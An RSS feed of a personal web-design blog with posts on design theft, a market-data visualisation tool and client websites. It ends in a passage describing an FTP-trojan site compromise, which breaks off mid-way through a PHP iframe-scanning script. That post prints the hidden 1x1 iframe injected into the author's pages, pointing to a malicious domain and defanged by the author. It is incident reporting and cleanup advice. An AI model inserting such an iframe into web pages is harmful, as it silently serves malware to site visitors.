<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nobigwords.ntxt.net &#187; ntxt.net</title>
	<atom:link href="http://nobigwords.ntxt.net/tematy/ntxtnet/feed/" rel="self" type="application/rss+xml" />
	<link>http://nobigwords.ntxt.net</link>
	<description>not too big words not only about web</description>
	<lastBuildDate>Thu, 08 Dec 2011 23:35:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>graphics design theft</title>
		<link>http://nobigwords.ntxt.net/2011/08/17/graphics-design-theft/</link>
		<comments>http://nobigwords.ntxt.net/2011/08/17/graphics-design-theft/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 20:36:48 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[ad]]></category>
		<category><![CDATA[advertisement]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[copy]]></category>
		<category><![CDATA[copy and paste]]></category>
		<category><![CDATA[copyright]]></category>
		<category><![CDATA[digital work]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[investigate]]></category>
		<category><![CDATA[K-Prim Design]]></category>
		<category><![CDATA[original]]></category>
		<category><![CDATA[portfolio]]></category>
		<category><![CDATA[publishing]]></category>
		<category><![CDATA[source]]></category>
		<category><![CDATA[theft]]></category>
		<category><![CDATA[thieves]]></category>
		<category><![CDATA[unauthorised]]></category>
		<category><![CDATA[visual]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=562</guid>
		<description><![CDATA[All of you happening to publish your images here and there know that it is all too easy to copy them and sign with other name. Oh no, you do not even have the signatures anymore! But there comes the digital investigation bureau: images.google.com. Long time in beta, long time not really available, it has [...]]]></description>
			<content:encoded><![CDATA[<p>All of you happening to publish your images here and there know that it is all too easy to copy them and sign with other name. Oh no, you do not even have the signatures anymore! But there comes the digital investigation bureau: <a href="http://images.google.com/">images.google.com</a>. Long time in beta, long time not really available, it has now the functionality I was looking for. There, you just drag your fancy JPG over the input box and mighty google says where it has been seen lately. If you see more links than expected, sue them ;) Mine appeared on a <a href="http://www.k-prim.biz/Print/katalozi.html">Bulgarian theft design studio site</a>. Just compare to the <a href="http://ntxt.net/?id=portfolio/rd_bud">4<sup>th</sup> paragraph in my old NTXT portfolio</a>. There&#8217;s a decent company of robbed designers: <a href="http://www.uc4.co.uk/dfp-catalogue.htm">UC4</a>, <a href="http://alpipi.deviantart.com/art/UBA-Company-Profile-Catalogue-74809149">alpipi</a> and more.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2011/08/17/graphics-design-theft/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Market Data Perspective</title>
		<link>http://nobigwords.ntxt.net/2010/07/29/market-data-perspective/</link>
		<comments>http://nobigwords.ntxt.net/2010/07/29/market-data-perspective/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 11:05:39 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[3d]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[Adobe AIR]]></category>
		<category><![CDATA[Adobe Flex]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[ask]]></category>
		<category><![CDATA[backtesting]]></category>
		<category><![CDATA[bid]]></category>
		<category><![CDATA[charts]]></category>
		<category><![CDATA[data visualisation]]></category>
		<category><![CDATA[exchange]]></category>
		<category><![CDATA[information visualisation]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[kdb+]]></category>
		<category><![CDATA[market data]]></category>
		<category><![CDATA[market replay]]></category>
		<category><![CDATA[nagler]]></category>
		<category><![CDATA[order book]]></category>
		<category><![CDATA[orders]]></category>
		<category><![CDATA[q]]></category>
		<category><![CDATA[q language]]></category>
		<category><![CDATA[strategy]]></category>
		<category><![CDATA[symagon]]></category>
		<category><![CDATA[transactions]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=279</guid>
		<description><![CDATA[Here is the first post in English, as its target is perhaps a bit wider than for my usual gibberish. The nine month now work for Symagon GmBH (subsidiary of Nagler &#038; Company) has its fruit. Or even a few. The first and what took the most effort is a Flex GUI for investment strategy [...]]]></description>
			<content:encoded><![CDATA[<p><i>Here is the first post in English, as its target is perhaps a bit wider than for my usual gibberish.</i></p>
<p>
The nine month now work for <a href="http://www.symagon.com/">Symagon GmBH</a> (subsidiary of Nagler &#038; Company) has its fruit. Or even a few. The first and what took the most effort is a Flex GUI for <strong>investment strategy backtesting</strong> and <strong>market data review</strong>. This was done with Rafał Sytek from Symagon. Backend is <a href="http://kx.com/Products/kdb+.php">kdb+, a vector-oriented,  fast database</a> which I know little about ;) and a little <a href="http://opensource.adobe.com/wiki/display/blazeds/BlazeDS/">Java/Blaze DS</a> middleware. The second is a <strong>3D visualisation tool for <a href="http://en.wikipedia.org/wiki/Order_book">order book</a> series.</strong> The 3D tool is only a little &#8216;Flexish&#8217;. The main 3D component is a pure Actionscript thing, with layers, 3D-2D and back transformations, etc. And here is what I find cool enough to show off.
</p>
<p>
An order book is a snapshot of a market, with (almost) all buy and sell offers for a single financial instrument. I pictured a series of order books as a sloped river bank, with the transaction at water&#8217;s level. The ground above is a cumulated size of ask orders beginning from the transaction. The green part is going deeper as the bid orders cumulate. Time axis is horizontal, and Y-axis shows price levels. I believe this visualisation gives a lot more information in a simple manner. Now looking forward to the expert opinion&#8230; see what is coming.
</p>
<h3>Backtesting GUI</h3>
<p>
This was a good lesson. Series renderers, chart extensions, live scrolling, zooming, syncing between the charts show the real flex guts. Sometimes I felt like writing it from the scratch myself&#8230; It was not anything about Flex itself, rather my understanding the complexity of its components. As it turned out, it was usually better to study a bit more the originals rather than implementing one&#8217;s own solutions. Some of the comps developed at the beginning look completely naive and weird now. The motto of future Flex chart works is:</p>
<blockquote><p>ChartElement class is essential to almost all you.</p></blockquote>
<p>And the big application for testing investment strategies looks like this:</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/07/29/market-data-perspective/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wyspy Kanaryjskie, ale tylko w obrazkach</title>
		<link>http://nobigwords.ntxt.net/2010/03/24/wyspy-kanaryjskie-ale-tylko-w-obrazkach/</link>
		<comments>http://nobigwords.ntxt.net/2010/03/24/wyspy-kanaryjskie-ale-tylko-w-obrazkach/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 20:45:01 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[photoshop]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[druk]]></category>
		<category><![CDATA[DTP]]></category>
		<category><![CDATA[grafika]]></category>
		<category><![CDATA[katalog]]></category>
		<category><![CDATA[oferty turystyczne]]></category>
		<category><![CDATA[praca]]></category>
		<category><![CDATA[profitravel]]></category>
		<category><![CDATA[projekt]]></category>
		<category><![CDATA[skład]]></category>
		<category><![CDATA[wyspy kanaryjskie]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=274</guid>
		<description><![CDATA[Skończyliśmy z Asią projekt katalogu wakacyjnego. Właściwie już dawno, ale ostatnie poprawki podsyłaliśmy jeszcze niedawno. Przy okazji zmieniłem zdanie o Wyspach, wcześniej sądziłem, że to czysto turystyczne, nudne, kurortowo-hotelowe okolice do lansu. Nieprawda, ale na razie nie sprawdzimy. Projekt dziecko rządzi.]]></description>
			<content:encoded><![CDATA[<p>Skończyliśmy z Asią projekt katalogu wakacyjnego. Właściwie już dawno, ale ostatnie poprawki podsyłaliśmy jeszcze niedawno. Przy okazji zmieniłem zdanie o Wyspach, wcześniej sądziłem, że to czysto turystyczne, nudne, kurortowo-hotelowe okolice do lansu. Nieprawda, ale na razie nie sprawdzimy. Projekt <i>dziecko </i> rządzi.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/03/24/wyspy-kanaryjskie-ale-tylko-w-obrazkach/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nikita Chickita</title>
		<link>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 20:29:36 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[moda]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[chickita]]></category>
		<category><![CDATA[ciuchy]]></category>
		<category><![CDATA[ciuchy dla dziewczyn]]></category>
		<category><![CDATA[dziewczyn]]></category>
		<category><![CDATA[electric]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[les ettes]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[nastolatki]]></category>
		<category><![CDATA[nikita]]></category>
		<category><![CDATA[nixon]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[praca]]></category>
		<category><![CDATA[rusty]]></category>
		<category><![CDATA[sprzedaż]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[vans]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</guid>
		<description><![CDATA[A także Electric, Etnies, Les Ettes, Nixon, Rusty, Sheroll, Vans, Vestal i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i [...]]]></description>
			<content:encoded><![CDATA[<p>A także <a href="http://chickitashop.com/electric-m-7.html">Electric</a>, <a href="http://chickitashop.com/etnies-m-9.html">Etnies</a>, <a href="http://chickitashop.com/les-ettes-m-6.html">Les Ettes</a>, <a href="http://chickitashop.com/nixon-m-5.html">Nixon</a>, <a href="http://chickitashop.com/rusty-m-12.html">Rusty</a>, <a href="http://chickitashop.com/sheroll-m-3.html">Sheroll</a>, <a href="http://chickitashop.com/vans-m-2.html">Vans</a>, <a href="http://chickitashop.com/vestal-m-11.html">Vestal</a> i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i poobserwować &mdash; całkiem imponujący &mdash; ruch na stronie. </p>
<p>W tej chwili sklep bazuje na opensourcowym oscGold, czyli polskiej adaptacji osCommerce. Jednak pomimo że to ogromny projekt i faktycznie pozwala dość prostymi środkami uruchomić i prowadzić sprzedaż, to czytelność kodu i jego styl przypominają mi własne produkty&#8230; sprzed pięciu lat. Domyślam się, że refaktoryzacja tak dużego przedsięwzięcia to niełatwa rzecz i pewnie dlatego pełno tu stałych i zmiennych globalnych, dziesiątek &#8216;includowanych&#8217; plików, mieszania layoutu i logiki. Kusi, żeby zrobić wszystko od nowa&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Luksusowe ceny</title>
		<link>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 11:42:22 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[luksusowe apartamenty]]></category>
		<category><![CDATA[luksusowe mieszkania]]></category>
		<category><![CDATA[luksusowe rezydencje]]></category>
		<category><![CDATA[ntxt]]></category>
		<category><![CDATA[rezydencje]]></category>
		<category><![CDATA[rezydencje na sprzedaż]]></category>
		<category><![CDATA[rynek mieszkaniowy]]></category>
		<category><![CDATA[savills]]></category>
		<category><![CDATA[savills-residential]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[sprzedaż nieruchomości]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=208</guid>
		<description><![CDATA[Ceny ofert na tej stronie sięgają 90 mln zł, a tytuł uzasadnia ten poziom: Luksusowe Apartementy i Rezydencje. Kilka dni temu uruchomiliśmy nową, opartą głównie na HTMLu stronę Savills Residential. Stara, flashowa wersja działa nadal pod adresem http://savills2.savills-residential.pl, bo zastosowany tam sposób nawigacji i prezentacji ofert nadal wydaje się nam ciekawy, a trudno go pokazać [...]]]></description>
			<content:encoded><![CDATA[<p>Ceny ofert na tej stronie sięgają 90 mln zł, a tytuł uzasadnia ten poziom:<a href="http://www.savills-residential.pl"> Luksusowe Apartementy i Rezydencje</a>. Kilka dni temu uruchomiliśmy nową, opartą głównie na HTMLu stronę Savills Residential. Stara, flashowa wersja działa nadal pod adresem <a href="http://savills2.savills-residential.pl">http://savills2.savills-residential.pl</a>, bo zastosowany tam sposób nawigacji i prezentacji ofert nadal wydaje się nam ciekawy, a trudno go pokazać na statycznych obrazkach. Nowa strona powstawała głównie z myślą o pozycjonowaniu i jakości kodu. Sam HTML waży 11 do 21 kB, dla porównania:<br />
<a href="http://www.emerson.pl">http://www.emerson.pl</a> &#8211; 133 kB<br />
<a href="http://www.strzelczyk.pl/">http://www.strzelczyk.pl/</a> 38 kB<br />
<a href="http://www.knightfrank.com.pl/">http://www.knightfrank.com.pl/</a> 4 kB (!)<br />
<a href="http://www.gratka.pl/">http://www.gratka.pl/</a> 12 kB</p>
<p>Jeszcze niedawno dość normalne były strony powyżej 200 kB kodu. Mimo coraz szybszych łączy jakość i zwięzłość kodu poprawia się. Myślę, że w dużym stopniu jest to wymuszone SEO i kosztami transferu.</p>
<p>Oprócz ofert jak dotąd, pojawiły się też opisy <a href="http://www.savills-residential.pl/sprzedajemy_nieruchomosci">działań reklamowych Savills</a> i przykładowe realizacje. Tak się miło złożyło, że sporo z tych obrazków to nasze projekty. Oczywiście nie odeszliśmy od Flasha całkowicie, nadal prezentacje zdjęć i formularz kontaktowy to mini aplikacje w SWF. Po stronie serwera framework oparty na AMF. Do administracji ofertami służy CMS napisany we Fleksie. Obsługuje upload plików, przypisywanie ich do ofert, edycję opisów w dwóch językach, kategorie i lokalizacje ofert.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Domy w Sosnowej Dolinie mają nową stronę</title>
		<link>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/#comments</comments>
		<pubDate>Thu, 21 May 2009 09:53:23 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[aig]]></category>
		<category><![CDATA[AIG/Lincoln]]></category>
		<category><![CDATA[deep linking]]></category>
		<category><![CDATA[domy jednorodzinne]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[lincoln]]></category>
		<category><![CDATA[magdalenka]]></category>
		<category><![CDATA[mieszkania]]></category>
		<category><![CDATA[ntxt]]></category>
		<category><![CDATA[residential]]></category>
		<category><![CDATA[sękocin]]></category>
		<category><![CDATA[sosnowa dolina]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[warszawa]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=198</guid>
		<description><![CDATA[Po dłuuugim okresie pracy, udało się uruchomić stronę podwarszawskiego osiedla domów firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje mieszkaniowej działalności dewelopera O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot [...]]]></description>
			<content:encoded><![CDATA[<p>Po dłuuugim okresie pracy, udało się uruchomić stronę <a href="http://sosnowadolina.pl">podwarszawskiego osiedla domów</a> firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje <a href="http://residential.pl">mieszkaniowej działalności dewelopera</a> O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot polegał na sensownym utrzymaniu animowanego nagłówka z menu i obrazkami, czyli spójności &#8220;user experience&#8221; ;) z jednoczesnym przechodzeniem między stronami. Najeżdżanie kursorem na fotkę powoduje rozuwanie harmonijki zdjęć, klikanie na opcje menu i obrazki czasem przenosi na inną stronę, czasem wyświetla podmenu. Konsultując rozwiązania z Klientem, w końcu jakoś to opanowaliśmy. Zdecydowaliśmy się zaakceptować jedną z wad Ajaksa, związaną z niedziałającym przyciskiem <i>wstecz</i>. Wiem, że są sposoby i na to, ale moim zdaniem zbyt skomplikowane jak na tę prostą strukturę. Za to działają deep-linki, czyli bezpośrednie odnośniki do treści. </p>
<p><small>Aha, niniejszym bardzo dziękujemy Katarzynie, obu Magdalenom i Adminowi za miłą współpracę, zaangażowanie i&#8230; pochwały. Panu Tomaszowi z <a href="http://onyx.pl">firmy hostingowej Onyx</a> również, za szybkie działanie i fachową pomoc.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nowa strona centrum logistycznego Żerań Park 1</title>
		<link>http://nobigwords.ntxt.net/2009/05/05/nowa-strona-centrum-logistycznego-zeran-park-1/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/05/nowa-strona-centrum-logistycznego-zeran-park-1/#comments</comments>
		<pubDate>Tue, 05 May 2009 18:05:07 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[AIG/Lincoln]]></category>
		<category><![CDATA[Alaris 2]]></category>
		<category><![CDATA[biura]]></category>
		<category><![CDATA[centrum logistyczne]]></category>
		<category><![CDATA[google maps]]></category>
		<category><![CDATA[logistyka]]></category>
		<category><![CDATA[magazyny]]></category>
		<category><![CDATA[magazyny na wynajem]]></category>
		<category><![CDATA[mapa]]></category>
		<category><![CDATA[projekt]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[strona www]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[ulotka A4]]></category>
		<category><![CDATA[warszawa]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[Żerań Park 1]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=185</guid>
		<description><![CDATA[No i kolejny projekt popełniony. Magazyny i biura na wynajem w centrum Warszawy, na zlecenie Zarządcy, czyli AIG/Lincoln, dla firmy Alaris 2 sp. z o.o. Krótki, prosty projekt, nieco odświeżający poprzednią wersję z 2007 roku. W założeniu miała być tylko zmiana treści, ale ponieważ nie było dostępu do źródeł i praw autorskich, skończyło się na [...]]]></description>
			<content:encoded><![CDATA[<p>No i kolejny projekt popełniony. <a href="http://zeranpark.com.pl">Magazyny i biura na wynajem</a> w centrum Warszawy, na zlecenie Zarządcy, czyli AIG/Lincoln, dla firmy Alaris 2 sp. z o.o. Krótki, prosty projekt, nieco odświeżający poprzednią wersję z 2007 roku. W założeniu miała być tylko zmiana treści, ale ponieważ nie było dostępu do źródeł i praw autorskich, skończyło się na przerobieniu całości. Użyliśmy lekkiego szkieletu Flash, z doczytywanie wybranych treści z SWF (layout) i XML (treść). Inwestycja nie ma własnego systemu identyfikacji, co paradoksalnie utrudnia projektowanie, bo niby można wszystko&#8230; Dowolne kolory, dowolne czcionki. Jeden ze wstępnych pomysłów nawiązywał do poprzedniej wersji (B, ciemnoniebieski), drugi miał otwartą kompozycję i logotyp oparty na czcionce Garamond. Wspólne elementy to font Agency FB w tytułach i motyw magazynu &mdash; stosu paczek stworzony w świetnym Google Sketchup. Klient wybrał projekt A.</p>
<p>Strona korzysta z map Google, pokazując centrum logistyczne w rzeczywistym otoczeniu Żerania, do wyboru &mdash; na mapie lub zdjęciu satelitarnym. Dzięki dobremu pokryciu Warszawy (co akurat nie dziwi) efekt jest czytelny i atrakcyjny.</p>
<p>Oprócz samej strony powstała też ulotka A4 w PDF do pobrania, o tej samej treści.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/05/nowa-strona-centrum-logistycznego-zeran-park-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iframe hack, czyli włamanie na FTP</title>
		<link>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/#comments</comments>
		<pubDate>Mon, 04 May 2009 08:45:09 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[.cn]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[doklejanie kodu]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hasło]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[lotante]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[wirus]]></category>
		<category><![CDATA[wklejanie kodu]]></category>
		<category><![CDATA[włamanie]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zagrożenie]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=176</guid>
		<description><![CDATA[Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja [...]]]></description>
			<content:encoded><![CDATA[<p>Amerykańska armia testuje <a href="http://www.wired.com/dangerroom/2009/04/army-tests-new/">automatycznych żołnierzy</a>, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie. </p>
<p>Również niniejsza strona i nasza główna &mdash; ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na &#8216;index&#8217; pojawił się taki kawałek (dodałem gwiazdkę przed http):</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=&quot;*http://lotante.cn/in.cgi?income38&quot;
width=1 height=1 style=&quot;visibility: hidden&quot;&gt;&lt;/iframe&gt;</pre></div></div>

<p>Konkretny adres bywa różny, <a href="http://blog.unmaskparasites.com/2009/04/15/malicious-income-iframes-from-cn-domains/">lista podejrzanych domen jest spora</a>. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem <a href="https://addons.mozilla.org/pl/firefox/addon/722">NoScript</a>). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. <a href="http://totalcmd.pl/download/app/new/Total_Commander_7.50_Public_Beta_2">Total Commander w najnowszej wersji </a>(7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.</p>
<p>Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające &#8216;index&#8217; w nazwie i sygnalizujący wystąpienia taga &lt;iframe&gt;. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr <i>depth</i> określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?
<span style="color: #666666; font-style: italic;">// katalog główny strony</span>
<span style="color: #000088;">$root</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/public_html'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// głębokość sprawdzania w podkatalogach</span>
<span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #cc66cc;">5</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// uruchomienie</span>
digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$root</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// rekurencyjna funkcja sprawdzająca</span>
<span style="color: #000000; font-weight: bold;">function</span> digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$level</span> <span style="color: #339933;">&lt;=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
